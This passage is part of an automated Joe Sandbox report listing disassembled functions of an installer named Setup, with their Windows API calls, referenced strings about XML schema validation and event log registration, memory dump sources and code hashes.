                    • Instruction ID: d765e0fa929ab098c662358c66072482d1352f46b8e542447219d1a1139251cc
                    • Opcode Fuzzy Hash: 03fa368c9139e085476ce1891630cb2b9a8c627d9f4588cf4e82838f7793a4d1
                    • Instruction Fuzzy Hash: 7A315E71900298DBDB20DBA4CC49FDDBBB8BF04305F084599E149E7690DB71EA48CF61
                    Function 6CB8AC58 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298memoryCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8AC5F
                    • SysFreeString.OLEAUT32(?), ref: 6CB8AD66
                    • SysAllocString.OLEAUT32(-00000010), ref: 6CB8AE70
                    • __CxxThrowException@8.LIBCMT ref: 6CB8AF3F
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8CD5: __EH_prolog3.LIBCMT ref: 6CBB8CDC
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB88415: __EH_prolog3.LIBCMT ref: 6CB8841C
                    Strings
                    • ExpressionAlias, xrefs: 6CB8ACAC, 6CB8ADEA
                    • schema validation failure: Invalid ExpressionAlias or Id not found: , xrefs: 6CB8AF84
                    • //*[@Id='%s'], xrefs: 6CB8AD26
                    • schema validation failure: ExpressionAlias's Id not defined or defined too many times: , xrefs: 6CB8AEBF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$String$AllocException@8FreeThrow
                    • String ID: //*[@Id='%s']$ExpressionAlias$schema validation failure: ExpressionAlias's Id not defined or defined too many times: $schema validation failure: Invalid ExpressionAlias or Id not found:
                    • API String ID: 191698298-1025498756
                    • Opcode ID: c0b641a02d9c3ada40098e828bac4e3e801845474a8bafab85d0ba583e40f57d
                    • Instruction ID: 51c48ab612fb69fa46876cd08b288b47f1f58d0ba88b2bd0f8e628118c9f26eb
                    • Opcode Fuzzy Hash: c0b641a02d9c3ada40098e828bac4e3e801845474a8bafab85d0ba583e40f57d
                    • Instruction Fuzzy Hash: 55C16E71901289EFCF00CFE4C984AEEBBB9BF45318F244569E511E7781CB35AA08CB61
                    Function 6CB89C3A Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 174COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB89C41
                    • __CxxThrowException@8.LIBCMT ref: 6CB89D24
                    • __fassign.LIBCMT ref: 6CB89D58
                    • _wcstoul.LIBCMT ref: 6CB89D65
                      • Part of subcall function 6CBDB6D0: wcstoxl.LIBCMT ref: 6CBDB6E0
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                    • __get_errno.LIBCMT ref: 6CB89D74
                    Strings
                    • ", xrefs: 6CB89D88
                    • schema validation failure: empty value, %s, for %s, xrefs: 6CB89CA1
                    • schema validation failure: non-numeric value, %s, for %s, xrefs: 6CB89DB1
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw__fassign__get_errno_wcstoulwcstoxl
                    • String ID: "$schema validation failure: empty value, %s, for %s$schema validation failure: non-numeric value, %s, for %s
                    • API String ID: 2631245360-326575430
                    • Opcode ID: 81f034a93de8a16dfd31b0132a9bd3f217e9d6c49bd54c17b1b586f1f9164c74
                    • Instruction ID: 882d1469f287fb8cbe58c5964998b331c170723b16a4e5f9ae8510ffc650d4da
                    • Opcode Fuzzy Hash: 81f034a93de8a16dfd31b0132a9bd3f217e9d6c49bd54c17b1b586f1f9164c74
                    • Instruction Fuzzy Hash: 8F615171D01189EFCF01DFE8C884AEEBBB9BF05319F14855AE111A7781DB359A09CB61
                    Function 6CBA4509 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 162COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBA4510
                    • __EH_prolog3.LIBCMT ref: 6CBA4689
                      • Part of subcall function 6CBBFF21: _wcsnlen.LIBCMT ref: 6CBBFF54
                      • Part of subcall function 6CBBFF21: _memcpy_s.LIBCMT ref: 6CBBFF8A
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3H_prolog3__memcpy_s_wcsnlen
                    • String ID: #(loc.$&amp;$&apos;$&gt;$&lt;$&quot;
                    • API String ID: 1381108809-1774302600
                    • Opcode ID: 55d9827596e1b25ff17e310a06cc92b9554ccf489f4908471c33460e77c6c864
                    • Instruction ID: 2c63c1f33243c618d2e9201df4d32119c9b5f2bc88f902c54b9bc6d744fb1e93
                    • Opcode Fuzzy Hash: 55d9827596e1b25ff17e310a06cc92b9554ccf489f4908471c33460e77c6c864
                    • Instruction Fuzzy Hash: AD515B75A00288DBCF00DFE8D881BEDB7B5BF48318F105556E910FBB50DB369A098BA5
                    Function 6CBB51C0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 154COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CBB51C7
                    • CoInitialize.OLE32(00000000), ref: 6CBB51DC
                      • Part of subcall function 6CBD8859: SysStringByteLen.OLEAUT32(00000000), ref: 6CBD8860
                      • Part of subcall function 6CBD8859: SysAllocStringByteLen.OLEAUT32(?,00000000), ref: 6CBD8869
                      • Part of subcall function 6CB8B00D: __EH_prolog3.LIBCMT ref: 6CB8B014
                      • Part of subcall function 6CB8B00D: SysFreeString.OLEAUT32(?), ref: 6CB8B044
                    • CoUninitialize.COMBASE(?,?,?,00000000,?,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6CBB5389
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A6DB: __EH_prolog3.LIBCMT ref: 6CB8A6E2
                      • Part of subcall function 6CB8A6DB: SysFreeString.OLEAUT32(?), ref: 6CB8A72B
                      • Part of subcall function 6CB8A7C3: __EH_prolog3.LIBCMT ref: 6CB8A7CA
                    • __CxxThrowException@8.LIBCMT ref: 6CBB5343
                    Strings
                    • //BlockIf[@ID], xrefs: 6CBB5218
                    • BlockIf/@ID cannot contain any token (#(loc.[Name]) references. BlockIf/@ID=", xrefs: 6CBB52CB
                    • ParameterInfo.xml, xrefs: 6CBB52FE
                    • #(loc., xrefs: 6CBB52B7
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3String$ByteFree$AllocException@8H_prolog3_catchInitializeThrowUninitialize
                    • String ID: #(loc.$//BlockIf[@ID]$BlockIf/@ID cannot contain any token (#(loc.[Name]) references. BlockIf/@ID="$ParameterInfo.xml
                    • API String ID: 3727013976-3244902561
                    • Opcode ID: 377f3e641e9a9cd21094ef956a5cf79fb8dcef3916449d685b9aa2c2d6d860f7
                    • Instruction ID: 548c126b204838af7c397bdf1d2f0271b4e5a2e2396898903845752cd8f86d40
                    • Opcode Fuzzy Hash: 377f3e641e9a9cd21094ef956a5cf79fb8dcef3916449d685b9aa2c2d6d860f7
                    • Instruction Fuzzy Hash: 8A513271901189DFCF00DBE8C884AEEBBB5AF15318F244559E115F7B80DB35AA4DCB62
                    Function 6CB950D5 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 140comCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CB950DC
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8380: __EH_prolog3.LIBCMT ref: 6CBB8387
                      • Part of subcall function 6CB8388B: __EH_prolog3.LIBCMT ref: 6CB83892
                    • CoInitialize.OLE32(00000000), ref: 6CB9512A
                    • CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,00000738,?,?,?,00000000,?,?,?,564FE71B,?,?,?), ref: 6CB95148
                    • __CxxThrowException@8.LIBCMT ref: 6CB95270
                      • Part of subcall function 6CB954B1: __EH_prolog3.LIBCMT ref: 6CB954B8
                      • Part of subcall function 6CB954B1: __CxxThrowException@8.LIBCMT ref: 6CB95540
                    • CoUninitialize.COMBASE(-00000960,?,succeeded,?,?,?,00000000,?,?,?,564FE71B,?,?,?), ref: 6CB951E6
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw$CreateH_prolog3_catchInitializeInstanceUninitialize
                    • String ID: IronMan::LocalizedData::CreateLocalizedData$succeeded$threw exception
                    • API String ID: 4097945976-352736096
                    • Opcode ID: ff10f7d8ff4d828d5d179ba0574df118e89a579d50bc1cd1738eabacfe8d6ad1
                    • Instruction ID: 5928b489c10c6f6b5d109b81928c1980a0d74641ae4f76bb91fa52b507333c95
                    • Opcode Fuzzy Hash: ff10f7d8ff4d828d5d179ba0574df118e89a579d50bc1cd1738eabacfe8d6ad1
                    • Instruction Fuzzy Hash: CA51497090128DEFCF00CFA4C884AEEBBB9AF09718F248555F515EB650C735AA49CBA1
                    Function 6CB877AF Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.KERNEL32(80000002,System\CurrentControlSet\Services\Eventlog\Application\VSSetup,00000000,00020019,?,?,6CBB831D,00000000), ref: 6CB877E8
                    • RegCreateKeyExW.KERNEL32(80000002,System\CurrentControlSet\Services\Eventlog\Application\VSSetup,00000000,00000000,00000000,00020006,00000000,?,00000000,?,6CBB831D,00000000), ref: 6CB87805
                      • Part of subcall function 6CB8787B: __EH_prolog3.LIBCMT ref: 6CB87882
                      • Part of subcall function 6CB8787B: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\PCHealth\ErrorReporting\DW\Installed,00000000,00020019,?,00000014,6CB8781A,?,6CBB831D,00000000), ref: 6CB878B2
                      • Part of subcall function 6CB8787B: RegQueryValueExW.ADVAPI32(?,DW0200,00000000,00000000,?,?,?,6CBB831D,00000000), ref: 6CB878D8
                      • Part of subcall function 6CB8787B: RegCloseKey.ADVAPI32(?,?,6CBB831D,00000000), ref: 6CB878E4
                      • Part of subcall function 6CB8787B: GetFileAttributesW.KERNEL32(?,?,6CBB831D,00000000), ref: 6CB878F9
                    • RegSetValueExW.KERNEL32(?,EventMessageFile,00000000,00000002,?,00000208,?,6CBB831D,00000000), ref: 6CB87836
                    • RegSetValueExW.KERNEL32(?,TypesSupported,00000000,00000004,?,00000004,?,6CBB831D,00000000), ref: 6CB87859
                    • RegCloseKey.KERNEL32(?,?,6CBB831D,00000000), ref: 6CB87861
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Value$CloseOpen$AttributesCreateFileH_prolog3Query
                    • String ID: EventMessageFile$System\CurrentControlSet\Services\Eventlog\Application\VSSetup$TypesSupported
                    • API String ID: 4021642227-369282485
                    • Opcode ID: 326407b5f4fc8333bd5fa60fcc79d498b44f8ba3333e0f48722468317c4e4573
                    • Instruction ID: 25d30808a2c7eef4cf451d07554477776325db9099da88385aadb6d4e0282645
                    • Opcode Fuzzy Hash: 326407b5f4fc8333bd5fa60fcc79d498b44f8ba3333e0f48722468317c4e4573
                    • Instruction Fuzzy Hash: ED119D7174126CBAEB209A12CC8DFEBBF7CEF55759F4004A9B518B3180C6B09E44DAA0
                    Function 6CB8B31F Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 247COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8B326
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8B25F: __EH_prolog3.LIBCMT ref: 6CB8B266
                    • __CxxThrowException@8.LIBCMT ref: 6CB8B5A8
                    Strings
                    • The DisabledCommandLineSwitches block has no CommandLineSwitches specified - either add them or remove the DisabledCommandLineSwit, xrefs: 6CB8B546
                    • No DisabledCommandLineSwitches block was specified, xrefs: 6CB8B5C8
                    • ParameterInfo.xml, xrefs: 6CB8B554
                    • DisabledCommandLineSwitches, xrefs: 6CB8B353
                    • Disabled CommandLineSwitch added: , xrefs: 6CB8B406, 6CB8B4C5
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: Disabled CommandLineSwitch added: $DisabledCommandLineSwitches$No DisabledCommandLineSwitches block was specified$ParameterInfo.xml$The DisabledCommandLineSwitches block has no CommandLineSwitches specified - either add them or remove the DisabledCommandLineSwit
                    • API String ID: 2489616738-1449725936
                    • Opcode ID: a02a5487179256c8846dbf11ff8b57e7a494e4af28a21b4c558682933876528f
                    • Instruction ID: c94d8bd6bcdf8feb805924a42448874835a1cc633a83f1f08ce13cf419e8baf8
                    • Opcode Fuzzy Hash: a02a5487179256c8846dbf11ff8b57e7a494e4af28a21b4c558682933876528f
                    • Instruction Fuzzy Hash: 3BA13771901289DFCF01CFA8C884AEEBBB5BF89318F244559E515AB790CB31EE45CB61
                    Function 6CB949CE Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 231COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB949D5
                      • Part of subcall function 6CB839AD: __EH_prolog3.LIBCMT ref: 6CB839B4
                    • __CxxThrowException@8.LIBCMT ref: 6CB94A3C
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                      • Part of subcall function 6CB895C1: __EH_prolog3.LIBCMT ref: 6CB895C8
                      • Part of subcall function 6CB895C1: VariantInit.OLEAUT32(?), ref: 6CB895DB
                      • Part of subcall function 6CB895C1: SysFreeString.OLEAUT32(?), ref: 6CB8960E
                      • Part of subcall function 6CB895C1: VariantClear.OLEAUT32(00000008), ref: 6CB8962E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Variant$ClearDispatcherExceptionException@8FreeInitStringThrowUser
                    • String ID: Language$LocalizedText$Text$Unable to find Language element for LangID="%d" in localized data$W
                    • API String ID: 452683132-1012890799
                    • Opcode ID: b19de5114e0676a92bd8f612def0c0aa65a137785d4f2d28ecc23bbc66a65f05
                    • Instruction ID: becf04a90d8e10338a51be18a953bb6d5726c04f631a00b4c61d09cb2827773d
                    • Opcode Fuzzy Hash: b19de5114e0676a92bd8f612def0c0aa65a137785d4f2d28ecc23bbc66a65f05
                    • Instruction Fuzzy Hash: 35912E71901299EFCF01CFA8C844ADEBBB9AF49718F248559F424EB781C7359A05CBA1
                    Function 6CBA9048 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 175COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB92E48: __EH_prolog3.LIBCMT ref: 6CB92E4F
                    • __CxxThrowException@8.LIBCMT ref: 6CBA91B1
                    Strings
                    • Checking for global blockers, xrefs: 6CBA90A8
                    • : StopBlockers evaluated to true., xrefs: 6CBA9209
                    • Global Block Checks, xrefs: 6CBA9087, 6CBA90B7
                    • no blocking conditions found, xrefs: 6CBA9078
                    • : WarnBlockers evaluated to true., xrefs: 6CBA921D
                    • : SuccessBlockers evaluated to true., xrefs: 6CBA91E8
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: no blocking conditions found$: StopBlockers evaluated to true.$: SuccessBlockers evaluated to true.$: WarnBlockers evaluated to true.$Checking for global blockers$Global Block Checks
                    • API String ID: 2489616738-2937627051
                    • Opcode ID: a6dea2376fe2855e751c20ef69066782d7edad532787a745d777a75127d86642
                    • Instruction ID: 8098ca8f529c438e043932fa86609f087eee49b84c9cc8fa173d49766c443379
                    • Opcode Fuzzy Hash: a6dea2376fe2855e751c20ef69066782d7edad532787a745d777a75127d86642
                    • Instruction Fuzzy Hash: 59713671408385AFC710CF99C884A5BBBE9FB89718F444A2EF59583A50D372E949CB52
                    Function 6CB938A1 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 169COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB938A8
                      • Part of subcall function 6CB88D44: __EH_prolog3.LIBCMT ref: 6CB88D4B
                      • Part of subcall function 6CB93480: __EH_prolog3.LIBCMT ref: 6CB93487
                    Strings
                    • Create CustomErrorMappingBase object, xrefs: 6CB93A51
                    • The mapping element defined: , xrefs: 6CB93951
                    • Create CustomErrorRetry object, xrefs: 6CB9399C
                    • schema validation failure: More than 1 CustomError Mapping block defined., xrefs: 6CB938D1
                    • ParameterInfo.xml, xrefs: 6CB938E3
                    • Retry, xrefs: 6CB93983, 6CB939B9
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Create CustomErrorMappingBase object$Create CustomErrorRetry object$ParameterInfo.xml$Retry$The mapping element defined: $schema validation failure: More than 1 CustomError Mapping block defined.
                    • API String ID: 431132790-1753673958
                    • Opcode ID: 12ebf8c406c938e928fe67a52729f82f5c5042f595777983171f0f0daa7d71bd
                    • Instruction ID: eaf9f7439e977ef41c69cab62e0399be0efdb3267e46866356ff709f4bfb132e
                    • Opcode Fuzzy Hash: 12ebf8c406c938e928fe67a52729f82f5c5042f595777983171f0f0daa7d71bd
                    • Instruction Fuzzy Hash: 675180719012899FDF00CBA8C945BEEB7F8AF0A318F144669E119FB780CB75D904CBA1
                    Function 6CB8B00D Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 152COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8B014
                      • Part of subcall function 6CBB91AF: CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,6CB8B029,?,0000002C,6CBCD55B,?,?,?,?,00000001), ref: 6CBB91C5
                    • SysFreeString.OLEAUT32(?), ref: 6CB8B044
                    • __CxxThrowException@8.LIBCMT ref: 6CB8B128
                    • SysFreeString.OLEAUT32(?), ref: 6CB8B163
                      • Part of subcall function 6CB839AD: __EH_prolog3.LIBCMT ref: 6CB839B4
                    Strings
                    • CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d, xrefs: 6CB8B033
                    • m_spDoc->get_documentElement() failed. Parse error is: %s, xrefs: 6CB8B0F6
                    • m_spDoc->loadXML() failed. Parse error is: %s, xrefs: 6CB8B1CB
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FreeH_prolog3String$CreateException@8InstanceThrow
                    • String ID: CoCreateInstance(__uuidof(DOMDocument30)) failed with hr=%d$m_spDoc->get_documentElement() failed. Parse error is: %s$m_spDoc->loadXML() failed. Parse error is: %s
                    • API String ID: 1763430278-2525052916
                    • Opcode ID: 09e773cec29bcfba3df41fcfc46ead87421cda18a4228972baf0548f5c3a9fe5
                    • Instruction ID: 64b9d7685a5f2d60d317c289775dd4143eb51ac71496c59f8d12bc85215c63a8
                    • Opcode Fuzzy Hash: 09e773cec29bcfba3df41fcfc46ead87421cda18a4228972baf0548f5c3a9fe5
                    • Instruction Fuzzy Hash: 1E513F71801189EFCB01DFE8CC84AEEBBB8AF15318F144559E111A7791DB35AA49CBA2
                    Function 6CBC2C16 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 144fileCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB88168: GetFileSize.KERNEL32(?,?,?,?,?,6CBB3B9F,?,?,00000000,?,?,?,?,00000008,6CBBEC79,?), ref: 6CB88178
                    • PathFileExistsW.SHLWAPI(00000000), ref: 6CBC2CA8
                    • __CxxThrowException@8.LIBCMT ref: 6CBC2CE7
                    • CopyFileW.KERNEL32(00000010,00000000,00000000,?), ref: 6CBC2D19
                    • SetFileAttributesW.KERNEL32(?,00000080), ref: 6CBC2D32
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB88329: __EH_prolog3.LIBCMT ref: 6CB88330
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: File$H_prolog3$AttributesCopyException@8ExistsPathSizeThrow
                    • String ID: Copy of Header File failed$DHTML Header File doesn't exist$DHTMLLogger
                    • API String ID: 1055460099-1824744887
                    • Opcode ID: 0738c9c05a61cf159db7ee9494e7eaa3b3d3a9eb29bccd8066c8899b9c99b04c
